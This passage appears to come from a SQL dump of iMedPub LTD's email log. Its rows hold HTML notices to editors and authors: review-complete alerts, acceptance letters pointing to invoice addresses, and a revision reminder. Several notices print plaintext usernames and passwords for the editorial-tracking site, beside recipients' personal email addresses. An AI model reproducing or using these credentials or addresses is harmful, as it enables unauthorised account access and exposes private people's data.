/>\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',2756,'2020-02-17',85),(869,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-3336</b><br />\r\n            <br />\r\n            Article Title: <b>Estimating partograph utilization and associated factors among health care professionals in Ethiopia: a systematic review and Meta &ndash; analysis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Asteray Ayenew</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-20-3336</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',3336,'2020-02-18',984),(872,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3383</b><br />\r\n            <br />\r\n            Article Title: <b>A GENERAL PERSPECTIVE OF MICROBIOTA IN HUMAN HEALTH AND DISEASE</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mutua Patrick</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3383</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3383,'2020-02-18',248),(873,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3383</b><br />\r\n            <br />\r\n            Article Title: <b>A GENERAL PERSPECTIVE OF MICROBIOTA IN HUMAN HEALTH AND DISEASE</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mutua Patrick</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3383</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3383,'2020-02-18',248),(874,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3383</b><br />\r\n            <br />\r\n            Article Title: <b>A GENERAL PERSPECTIVE OF MICROBIOTA IN HUMAN HEALTH AND DISEASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Patrick</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','patmbuvi@gmail.com',3383,'2020-02-18',248),(875,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3177</b><br />\r\n            <br />\r\n            Article Title: <b>Gluten free diet has different effect on the iron profile of celiac disease and non-celiac gluten sensitive patients with idiopathic iron deficiency anemia </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>norouzinia</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','norouzinia@gmail.com',3177,'2020-02-19',85),(876,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3258</b><br />\r\n            <br />\r\n            Article Title: <b>Retention of Passive Integrated Transponders (PIT) Tags in Juvenile Rainbow Trout and Brown Trout</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jacob Davis</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3258</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',3258,'2020-02-20',645),(877,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-3178</b><br />\r\n            <br />\r\n            Article Title: <b>Potent Suppression of Proliferation of Breast Carcinoma Cells by a Novel Anthranilic Acid Derivative</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Patel</b><br />\r\n            <br />\r\n            We have sent the invoice through <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> which might have ended up in junk. You may also check the invoice which we have sent through contact@imedpub.com today.<br />\r\n            <br />\r\n            kinldy check and revert.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','patelo@gvsu.edu',3178,'2020-02-20',376),(879,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3390</b><br />\r\n            <br />\r\n            Article Title: <b>Seroprevalence of Toxoplasma gondii IgG and IgM antibodies and associated risks factors in Tuberculosis patients admitted at the Bamenda Regional Hospital, NW Cameroon </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Leonard FONKENG</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3390</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3390,'2020-02-20',248),(880,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3390</b><br />\r\n            <br />\r\n            Article Title: <b>Seroprevalence of Toxoplasma gondii IgG and IgM antibodies and associated risks factors in Tuberculosis patients admitted at the Bamenda Regional Hospital, NW Cameroon </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>FONKENG</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','safole2000@yahoo.fr',3390,'2020-02-20',248),(881,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-3122</b><br />\r\n            <br />\r\n            Article Title: <b>CLOBAZAM EFFICACY AS AN ADD- ON THERAPY FOR 121 PATIENTS WITH INTRACTABLE EPILEPSY</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Alsulami</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipjnn-19-3122</b> by <b>24-02-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jneuro.com/\">http://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>ashwaq</b><br />\r\n            Password : <b>Um4lAWaK</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','al-sulami.a@hotmail.com',3122,'2020-02-20',75),(883,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3258</b><br />\r\n            <br />\r\n            Article Title: <b>Retention of Passive Integrated Transponders (PIT) Tags in Juvenile Rainbow Trout and Brown Trout</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Davis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jake.davis@state.sd.us',3258,'2020-02-22',645),(885,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3258</b><br />\r\n            <br />\r\n            Article Title: <b>Retention of Passive Integrated Transponders (PIT) Tags in Juvenile Rainbow Trout and Brown Trout</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Davis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jake.davis@state.sd.us',3258,'2020-02-24',645),(887,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-3183</b><br />\r\n            <br />\r\n            Article Title: <b>Leptina y su participaci&oacute;n en la Enfermedad Arterial Coronaria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Boh&oacute;rquez Rivero</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','josejbohorquez@gmail.com',3183,'2020-02-25',274),(888,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3403</b><br />\r\n            <br />\r\n            Article Title: <b>THE RELATIONSHIP BETWEEN STRATEGIC LOGIC AND PRACTICE TO DETERMINE REGULATIONS: THE CASE OF ADJUSTMENTS IN SUPPLEMENTARY HEALTH.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>castro ferreira</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vanessa.castro2022@gmail.com',3403,'2020-02-25',48),(891,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3261</b><br />\r\n            <br />\r\n            Article Title: <b>The comparison detection of cytokines (IL-6 and IL-12) from spleen cells and serums in Balb/c mice after immunization with killed P. multocida vaccines co-formulated with bacterial DNAs as adjuvant</b><br />\r\n            <br />\r\n            Corresponding Author: <b>yahya tahamtan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3261</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3261,'2020-02-26',248),(892,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3261</b><br />\r\n            <br />\r\n            Article Title: <b>The comparison detection of cytokines (IL-6 and IL-12) from spleen cells and serums in Balb/c mice after immunization with killed P. multocida vaccines co-formulated with bacterial DNAs as adjuvant</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"http://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>tahamtan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-02-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yahyatahamtan@yahoo.com',3261,'2020-02-26',248),(894,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3237</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical Profile of Adult Patients suffering from Scrub Typhus in Kasturba Hospital Wardha, Central India: A Study of 125 patients.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Neeraj Dodake</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3237</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3237,'2020-02-26',248),(895,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3237</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical Profile of Adult Patients suffering from Scrub Typhus 